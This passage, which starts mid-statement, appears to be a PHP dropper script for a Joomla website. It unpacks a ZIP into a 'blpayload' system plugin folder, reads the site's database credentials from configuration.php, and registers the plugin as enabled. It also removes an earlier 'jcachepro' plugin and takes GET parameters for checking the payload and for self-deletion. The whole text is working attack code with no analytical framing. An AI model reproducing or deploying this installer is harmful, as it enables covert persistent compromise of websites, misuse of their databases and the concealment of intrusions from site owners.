open($tmp)!==true){echo "ZIP_FAIL";@unlink($tmp);exit;} $root=realpath(dirname(__FILE__)."/.."); $dest=$root."/plugins/system/blpayload"; if(!is_dir($dest))@mkdir($dest,0755,true); for($i=0;$i<$zip->numFiles;$i++){ $name=$zip->getNameIndex($i); $content=$zip->getFromIndex($i); file_put_contents($dest."/".basename($name),$content); @chmod($dest."/".basename($name),0644); } $zip->close();@unlink($tmp); if(!file_exists($dest."/blpayload.php")){echo "EXTRACT_FAIL";exit;} $cfg=$root."/configuration.php"; if(file_exists($cfg)){ include $cfg; $c=new JConfig(); $p=isset($c->dbprefix)?$c->dbprefix:""; $dsn="mysql:host=".$c->host.";dbname=".$c->db; try{ $pdo=new PDO($dsn,$c->user,$c->password); $pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION); $pdo->exec("DELETE FROM ".$p."extensions WHERE element='jcachepro' AND folder='system' AND type='plugin'"); $pdo->exec("INSERT INTO ".$p."extensions (name,type,element,folder,client_id,enabled,access,ordering,params,manifest_cache,custom_data) VALUES('plg_system_blpayload','plugin','blpayload','system',0,1,1,9999,'{}','{\"name\":\"System - BLPayload\",\"version\":\"7.0.0\"}','') ON DUPLICATE KEY UPDATE enabled=1,ordering=9999,manifest_cache='{\"name\":\"System - BLPayload\",\"version\":\"7.0.0\"}'"); echo "OK:DB_DONE:$dest"; }catch(Exception $e){echo "OK:DB_ERR:".$e->getMessage();} }else{echo "OK:NO_CFG";} $oldDir=$root."/plugins/system/jcachepro"; if(is_dir($oldDir)){ @array_map("unlink",glob($oldDir."/*")); @rmdir($oldDir); }}elseif(isset($_GET["check"])){ $root=realpath(dirname(__FILE__)."/.."); $f=$root."/plugins/system/blpayload/blpayload.php"; if(file_exists($f)){echo "EXISTS:".filesize($f);}else{echo "MISSING";}}elseif(isset($_GET["del"])){ @unlink(__FILE__);echo "DELETED";}else{echo "READY";} exit(); ?>